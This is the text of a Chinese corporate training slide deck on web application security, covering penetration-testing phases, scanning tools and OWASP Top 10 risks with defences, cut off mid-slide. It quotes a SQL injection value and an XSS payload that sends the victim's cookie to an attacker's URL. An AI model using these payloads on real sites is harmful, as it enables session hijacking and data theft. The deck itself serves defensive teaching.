Web 應(yīng)用安全概覽v1.1_第1頁
Web 應(yīng)用安全概覽v1.1_第2頁
Web 應(yīng)用安全概覽v1.1_第3頁
Web 應(yīng)用安全概覽v1.1_第4頁
Web 應(yīng)用安全概覽v1.1_第5頁
已閱讀5頁,還剩41頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

Web應(yīng)用安全概覽MX團隊內(nèi)部公開武漢安碩織信網(wǎng)絡(luò)科技有限公司目錄背景滲透測試Web應(yīng)用安全Nessus漏洞掃描功能安全性測試實戰(zhàn)演示背景根據(jù)中國互聯(lián)網(wǎng)絡(luò)信息中心2016年發(fā)布的“第37次中國互聯(lián)網(wǎng)絡(luò)發(fā)展狀況統(tǒng)計報告

”,

2015年,42.7%的網(wǎng)民遭遇過網(wǎng)絡(luò)安全問題。背景那企業(yè)呢?5月:俄國黑客盜取2.73億郵箱信息以1美元價錢販賣,其中包括

4000

萬個雅虎郵箱、3300

萬微軟郵箱以及

2400

萬個谷歌郵箱。6月:MySpace4.27

億數(shù)據(jù)泄漏,或成互聯(lián)網(wǎng)史上最大規(guī)模的密碼泄露事件。應(yīng)用程序安全風險

攻擊者可以通過應(yīng)用程序中許多不同的路徑方法去危害您的業(yè)務(wù)或者企業(yè)組織。每種路徑方法都代表了一種風險,這些風險可能會,也有可能不會嚴重到值得您去關(guān)注。這樣的攻擊每時每刻都在重演,如何規(guī)避?將鏈路核心漏洞堵死對系統(tǒng)的任何弱點、技術(shù)缺陷或漏洞進行主動分析,滲透測試當仁不讓滲透測試定義滲透測試(PenetrationTesting

或者

PenTesting,

PT)沒有一個標準的定義。國外一些安全組織達成共識的通用說法是,滲透測試是通過模擬惡意黑客的攻擊方法,來評估計算機網(wǎng)絡(luò)系統(tǒng)安全的一種評估方法。這個過程包括對系統(tǒng)的任何弱點、技術(shù)缺陷或洞的主動分析,這個分析是從一個攻擊者可能存在的位置來進行的,并且從這個位置有條件主動利用安全漏洞,達到一定的控制權(quán)限。滲透測試是對用戶信息安全措施積極評估的過程。通過系統(tǒng)化的操作和分析,積極發(fā)現(xiàn)系統(tǒng)和網(wǎng)絡(luò)中存在的各種缺陷和弱點,如設(shè)計缺陷和技術(shù)缺陷。滲透測試方法滲透測試與其他評估方法不同。通常的評估方法是根據(jù)已知信息資源或其他被評估對象,去發(fā)現(xiàn)所有相關(guān)的安全問題。滲透測試是根據(jù)已知可利用的安全漏洞,去發(fā)現(xiàn)是否存在相應(yīng)的信息資源。相比較而言,通常評估方法對評估結(jié)果更具有全面性,而滲透測試更注重安全漏洞的嚴重性。滲透測試階段信息收集——兵馬未動,糧草先行漏洞掃描——知己知彼,百戰(zhàn)不殆漏洞利用——攻其不備,出其不意滲透測試——信息收集收集滲透目標的情報是最重要的階段。如果收集到有用的情報資料的話,可以大大提高對滲透測試的成功性。收集滲透目標的情報一般是對目標系統(tǒng)的分析,掃描探測,服務(wù)查點,掃描對方漏洞,查找對方系統(tǒng)IP等,有時候滲透測試者也會用上“社會工程學”。滲透測試者會盡力搜集目標系統(tǒng)的配置與安全防御以及防火墻等等。其主要知識點如下:枚舉服務(wù);測試網(wǎng)絡(luò)范圍;識別活躍的主機和查看打開的端口;系統(tǒng)指紋識別;服務(wù)指紋識別;其他信息收集手段;使用Maltego收集信息;繪制網(wǎng)絡(luò)圖。滲透測試——信息收集枚舉服務(wù)枚舉是一類程序,它允許用戶從一個網(wǎng)絡(luò)中收集某一類的所有相關(guān)信息。DNS枚舉可以收集本地所有DNS服務(wù)和相關(guān)條目。DNS枚舉可以幫助用戶收集目標組織的關(guān)鍵信息,如用戶名、計算機名和IP地址等。常用工具主要有:DNS枚舉工具DNSenum;DNS枚舉工具fierce。滲透測試——信息收集測試網(wǎng)絡(luò)范圍測試網(wǎng)絡(luò)范圍內(nèi)的IP地址或域名也是滲透測試的一個重要部分。通過測試網(wǎng)絡(luò)范圍內(nèi)的IP地址或域名,確定是否有人入侵自己的網(wǎng)絡(luò)中并損害系統(tǒng)。常用工具主要有:域名查詢工具Dmitry:查詢IP或域名WHOIS信息;跟蹤路由工具Scapy。滲透測試——信息收集識別活躍的主機嘗試滲透測試之前,必須先識別在這個目標網(wǎng)絡(luò)內(nèi)活躍的主機。常用工具主要有:網(wǎng)絡(luò)映射器工具Nmap:

免費開放的網(wǎng)絡(luò)掃描和嗅探工具包

。滲透測試——信息收集查看打開的端口對一個大范圍的網(wǎng)絡(luò)或活躍的主機進行滲透測試,必須要了解這些主機上所打開的端口號。常用工具主要有:TCP端口掃描工具Nmap;圖形化TCP端口掃描工具Zenmap。滲透測試——信息收集系統(tǒng)指紋識別系統(tǒng)指紋信息包括目標主機打開的端口、MAC地址、操作系統(tǒng)類型和內(nèi)核版本等。常用工具主要有:使用Nmap工具識別系統(tǒng)指紋信息;指紋識別工具p0f。滲透測試——信息收集服務(wù)指紋識別服務(wù)指紋信息包括服務(wù)端口、服務(wù)名和版本等。常用工具主要有:使用Nmap工具識別服務(wù)指紋信息;服務(wù)枚舉工具Amap。滲透測試——信息收集其他信息收集手段Recon-NG框架:由Python編寫的一個開源的Web偵查(信息收集)框架;搜索引擎工具Shodan:Shodan可以說是一款"黑暗"谷歌,一直不停的在尋找著所有和互聯(lián)網(wǎng)連接的服務(wù)器、攝像頭、打印機和路由器等。滲透測試——信息收集使用Maltego收集信息Maltego是一個開源的漏洞評估工具,它主要用于論證一個網(wǎng)絡(luò)內(nèi)單點故障的復(fù)雜性和嚴重性。該工具能夠聚集來自內(nèi)部和外部資源的信息,并且提供一個清晰的漏洞分析界面。滲透測試——信息收集繪制網(wǎng)絡(luò)結(jié)構(gòu)圖CaseFile工具用來繪制網(wǎng)絡(luò)結(jié)構(gòu)圖。使用該工具能快速添加和連接,并能以圖形界面形式靈活的構(gòu)建網(wǎng)絡(luò)結(jié)構(gòu)圖。滲透測試——漏洞掃描漏洞掃描器是一種能夠自動在計算機、信息系統(tǒng)、網(wǎng)絡(luò)及應(yīng)用軟件中尋找和發(fā)現(xiàn)安全弱點的程序。它通過網(wǎng)絡(luò)對目標系統(tǒng)進行探測,向目標系統(tǒng)發(fā)生數(shù)據(jù),并將反饋數(shù)據(jù)與自帶的漏洞特征庫進行匹配,進而列舉目標系統(tǒng)上存在的安全漏洞。漏洞掃描是保證系統(tǒng)和網(wǎng)絡(luò)安全必不可少的手段,面對互聯(lián)網(wǎng)入侵,如果用戶能夠根據(jù)具體的應(yīng)用環(huán)境,盡可能早的通過網(wǎng)絡(luò)掃描來發(fā)現(xiàn)安全漏洞,并及時采取適當?shù)奶幚泶胧┻M行修補,就可以有效地阻止入侵事件的發(fā)生。漏洞掃描工作相對枯燥,所以我們可以借助一些便捷的工具來實施,如Nessus和OpenVAS。滲透測試——漏洞掃描NessusNessus號稱是世界上最流行的漏洞掃描程序,全世界有超過75000個組織在使用它。該工具提供完整的電腦漏洞掃描服務(wù),并隨時更新其漏洞數(shù)據(jù)庫。Nessus不同于傳統(tǒng)的漏洞掃描軟件,Nessus可同時在本機或遠端上遙控,進行系統(tǒng)的漏洞分析掃描。OpenVASOpenVAS(開放式漏洞評估系統(tǒng))是一個客戶端/服務(wù)器架構(gòu),它常用來評估目標主機上的漏洞。OpenVAS是Nessus項目的一個分支,它提供的產(chǎn)品是完全地免費。滲透測試——漏洞利用漏洞利用階段利用已獲得的信息和各種攻擊手段實施滲透。網(wǎng)絡(luò)應(yīng)用程序漏洞診斷項目的加密通信漏洞診斷是必須執(zhí)行的。顧名思義,利用漏洞,達到攻擊的目的。漏洞利用是獲得系統(tǒng)控制權(quán)限的重要途徑。用戶從目標系統(tǒng)中找到容易攻擊的漏洞,然后利用該漏洞獲取權(quán)限,從而實現(xiàn)對目標系統(tǒng)的控制。Metasploit是一款開源的安全漏洞檢測工具框架。它可以幫助用戶識別安全問題,驗證漏洞的緩解措施,并對某些軟件進行安全性評估,提供真正的安全風險情報。滲透測試——

Kali

LinuxKaliLinux是基于Debian的Linux發(fā)行版,設(shè)計用于數(shù)字取證和滲透測試。KaliLinux預(yù)裝了許多滲透測試軟件,包括nmap(端口掃描器)、Wireshark(數(shù)據(jù)包分析器)、JohntheRipper(密碼破解器),以及Aircrack-ng(一應(yīng)用于對無線局域網(wǎng)進行滲透測試的軟件)等。Web

應(yīng)用安全OWASP(OpenWebApplicationSecurityProject,

開源web應(yīng)用安全項目)每隔數(shù)年會更新10個最關(guān)鍵的Web應(yīng)用安全問題清單,即OWASPTop10。Web

應(yīng)用安全——

OWASPTop10Web

應(yīng)用安全——

OWASPTop10Web漏洞——注入攻擊案例:應(yīng)用程序在下面存在漏洞的

SQL

語句的構(gòu)造中使用不可信數(shù)據(jù):Stringquery="SELECT*FROMaccountsWHEREcustID='"+request.getParameter("id")+"'";攻擊者在瀏覽器中將“id”參數(shù)的值修改成:

'or'1'='1Web漏洞——

注入如何防止?防止注入漏洞需要將不可信數(shù)據(jù)從命令及查詢中區(qū)分開。最佳選擇是使用安全的API,完全避免使用解釋器或供參數(shù)化界面的API。但要注意有些參數(shù)化的API,比如存儲過程(storedprocedures),如果使用不當,仍然可以引入注入漏洞。如果沒法使用一個參數(shù)化的API,那么你應(yīng)該使用解釋器具體的escape語法來避免特殊字符。OWASP的ESAPI就有一些escape例程。使用正面的或“白名單”的具有恰當?shù)囊?guī)范化的輸入驗證方法同樣會有助于防止注入攻擊。但由于很多應(yīng)用在輸入中需要特殊字符,這一方法不是完整的防護方法。OWASP的ESAPI中包含一個白名單輸入驗證例程的擴展庫。Web漏洞——

失效的身份認證和會話管理攻擊案例:案例1:應(yīng)用程序超時設(shè)置不當。用戶使用公共計算機訪問網(wǎng)站。離開時,該用戶沒有點擊退出,而是直接關(guān)閉瀏覽器。攻擊者在一個小時后能使用相同瀏覽器通過身份認證。案例2:內(nèi)部或外部攻擊者進入系統(tǒng)的密碼數(shù)據(jù)庫.存儲在數(shù)據(jù)庫中的用戶密碼沒有被加密,所有用戶的密碼都被攻擊者獲得。如何防止?對企業(yè)最主要的建議是讓開發(fā)人員使用如下資源。一套單一的強大的認證和會話管理控制系統(tǒng)。企業(yè)同樣也要做出巨大努力來避免跨站漏洞,因為這一漏洞可以用來盜竊用戶會話ID。Web漏洞——

失效的身份認證和會話管理Web漏洞——跨站腳本(XSS)攻擊案例:應(yīng)用程序在下面HTML代碼段的構(gòu)造中使用未經(jīng)驗證或轉(zhuǎn)義的不可信的數(shù)據(jù):(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";攻擊者在瀏覽器中修改“CC”參數(shù)為如下值:'><script>document.locakon='h\p://www.a\/cgi-bin/cookie.cgi?foo='+document.cookie</script>'這導致受害者的會話ID被發(fā)送到攻擊者的網(wǎng)站,使得攻擊者能夠劫持用戶當前會話。請注意攻擊者同樣能使用跨站腳本攻破應(yīng)用程序可能使用的任何跨站請求偽造(CSRF)防御機制。Web漏洞——跨站腳本(XSS)如何防止?防止XSS需要將不可信數(shù)據(jù)與動態(tài)的瀏覽器內(nèi)容區(qū)分開。最好的辦法是根據(jù)數(shù)據(jù)將要置于的HTML上下文(包括主體、屬性、JavaScript、CSS或URL)對所有的不可信數(shù)據(jù)進行恰當?shù)霓D(zhuǎn)義(escape)。使用正面的或“白名單”的,具有恰當?shù)囊?guī)范化和解碼功能的輸入驗證方法同樣會有助于防止跨站腳本但由于很多應(yīng)用程序在輸入中需要特殊字符,這一方法不是完整的防護方法。這種驗證方法需要盡可能地解碼任何編碼輸入,同時在接受輸入之前需要充分驗證數(shù)據(jù)的長度、字符、格式、和任何商務(wù)規(guī)則??紤]使用內(nèi)容安全策略(CSP)來抵御整個網(wǎng)站的跨站腳本攻擊。Web漏洞——不安全的直接對象引用攻擊案例:

應(yīng)用程序在訪問帳戶信息的SQL調(diào)用中使用未驗證數(shù)據(jù):Stringquery="SELECT*FROMacctsWHEREaccount=?";PreparedStatementpstmt=conneckon.prepareStatement(query,...);pstmt.setString(1,request.getparameter("acct"));ResultSetresults=pstmt.executeQuery();攻擊者能輕易在瀏覽器將“acct”參數(shù)修改成他所想要的任何賬戶號碼。如果應(yīng)用程序沒有進行恰當?shù)尿炞C,攻擊者就能訪問任何用戶的賬戶,而不僅僅是該目標用戶的賬戶。Web漏洞——不安全的直接對象引用如何防止?要防止不安全的直接對象引用,需要選擇一個適當?shù)姆椒▉肀Wo每一個用戶可訪問的對象(如對象號碼、文件名)。使用基于用戶或者會話的間接對象引用。這樣能防止攻擊者直接攻擊未授權(quán)資源。例如,一個下拉列表包含6個授權(quán)給當前用戶的資源,它可以使用數(shù)字1-6來指示哪個是用戶選擇的值,而不是使用資源的數(shù)據(jù)庫關(guān)鍵字來表示。在服務(wù)器端,應(yīng)用程序需要將每個用戶的間接引用映射到實際的數(shù)據(jù)庫關(guān)鍵字。檢查訪問。任何來自不可信源的直接對象引用都必須通過訪問控制檢測,確保該用戶對請求的對象有訪問權(quán)限。Web漏洞——

安全配置錯誤攻擊案例:案例1:應(yīng)用程序服務(wù)器管理員控制臺自動安裝后沒有被刪除。而默認帳戶也沒有被改變。攻擊者在你的服務(wù)器上發(fā)現(xiàn)了標準的管理員頁面,通過默認密碼登錄,從而接管了你的服務(wù)器。案例2:目錄列表在你的服務(wù)器上未被禁用。攻擊者發(fā)現(xiàn)只需列出目錄,她就可以找到你服務(wù)器上的任意文件。攻擊者找到并下載所有已編譯的Java類,她通過反編譯獲得了所有你的自定義代碼。然后,她在你的應(yīng)用程序中找到一個訪問控制的嚴重漏洞。如何防止?主要的建議建立在以下幾個方面:一個可以快速且易于部署在另一個鎖定環(huán)境的可重復(fù)的加固過程。開發(fā)、質(zhì)量保證和生產(chǎn)環(huán)境都應(yīng)該配置相同(每個環(huán)境中使用不同的密碼)。這個過程應(yīng)該是自動化的,以盡量減少安裝一個新安全環(huán)境的耗費。一個能及時了解并部署每個已部署環(huán)境的所有最新軟件更新和補丁的過程。這需要包括通常被忽略的所有代碼的庫文件。一個能在組件之間供有效的分離和安全性的強大應(yīng)用程序架構(gòu)。實施漏洞掃和經(jīng)常進行審計以幫助檢測將來可能的錯誤配置或沒有安裝的補丁。Web漏洞——安全配置錯誤Web漏洞——

敏感信息泄露攻擊案例:案例1:一個應(yīng)用程序加密存儲在數(shù)據(jù)庫的信用卡信息,以防止信用卡信息暴露給最終用戶。但是,數(shù)據(jù)庫設(shè)置為對信用卡表列的查詢進行自動解密,這就使得SQL注入漏洞能夠獲得所有信用卡信息的明文。該系統(tǒng)應(yīng)該被設(shè)置為前端應(yīng)用程序使用公鑰對信用卡信息加密,后端應(yīng)用程序只能使用私鑰解密。案例2:一個網(wǎng)站上所有需要身份驗證的網(wǎng)頁都沒有使用SSL。攻擊者只需監(jiān)控網(wǎng)絡(luò)數(shù)據(jù)流(比如一個開放的無線網(wǎng)絡(luò)或其社區(qū)的有線網(wǎng)絡(luò)),并竊取一個已驗證的受害者的會話cookie。然后,攻擊者利用這個cookie執(zhí)行重放攻擊并接管用戶的會話從而訪問用戶的隱私數(shù)據(jù)。如何防止?有關(guān)使用不安全的加密算法、SSL使用和數(shù)據(jù)保護的風險超出了Top10的范圍。盡管如此,對一些需要加密的敏感數(shù)據(jù),應(yīng)該起碼做到以下幾點:預(yù)測一些威脅(比如內(nèi)部攻擊和外部用戶),加密這些數(shù)據(jù)的存儲以確保免受這些威脅。對于沒必要存放的、重要的敏感數(shù)據(jù),應(yīng)當盡快清除。確保使用了合適的強大的標準算法和強大的密匙,并且密匙管理到位。確保使用密碼專用算法存儲密碼,如:bcrypt、PBKDF2或者scrypt。禁用自動完成防止敏感數(shù)據(jù)收集,禁用包含敏感數(shù)據(jù)的緩存頁面。Web漏洞——敏感信息泄露Web漏洞——功能級訪問控制缺失攻擊案例:攻擊者僅僅直接瀏覽目標網(wǎng)址。例如下面的兩個網(wǎng)址都需要身份驗證,而且訪問“admin_getappInfo”頁面還需要管理員權(quán)限。http:///app/getappInfohttp:///app/admin_getappInfo如果未認證的用戶可以訪問上述任一頁面,這就是漏洞。如果通過驗證的非管理員用戶也能允許訪問“admin_getappInfo”頁面,這同樣是個漏洞。Web漏洞——功能級訪問控制缺失如何防止?您的應(yīng)用程序應(yīng)該使用一致的和易于分析的授權(quán)模塊,并能在所有的業(yè)務(wù)功能中調(diào)用該模塊。通常是,由一個或多個外部組件向應(yīng)用代碼內(nèi)部供這種保護。考慮一下管理權(quán)利的過程并確保能夠容易的進行升級和審計。切忌硬編碼。執(zhí)行機制在缺省情況下,應(yīng)該拒絕所有訪問。對于每個功能的訪問,需要明確授予特定角色的訪問權(quán)限。如果某功能參與了工作流程,檢查并確保當前的條件是授權(quán)訪問此功能的合適狀態(tài)。Nessus漏洞掃描—檢測范圍操作系統(tǒng)漏洞檢測

對Windows、Solaris、AIX、Linux、SCO、SGI等操作系統(tǒng)本身進行漏洞檢測;數(shù)據(jù)庫漏洞檢測

對MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等數(shù)據(jù)庫進行漏洞檢測;應(yīng)用系統(tǒng)漏洞檢測

對滲透目標提供的各種應(yīng)用,如ASP、CG

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論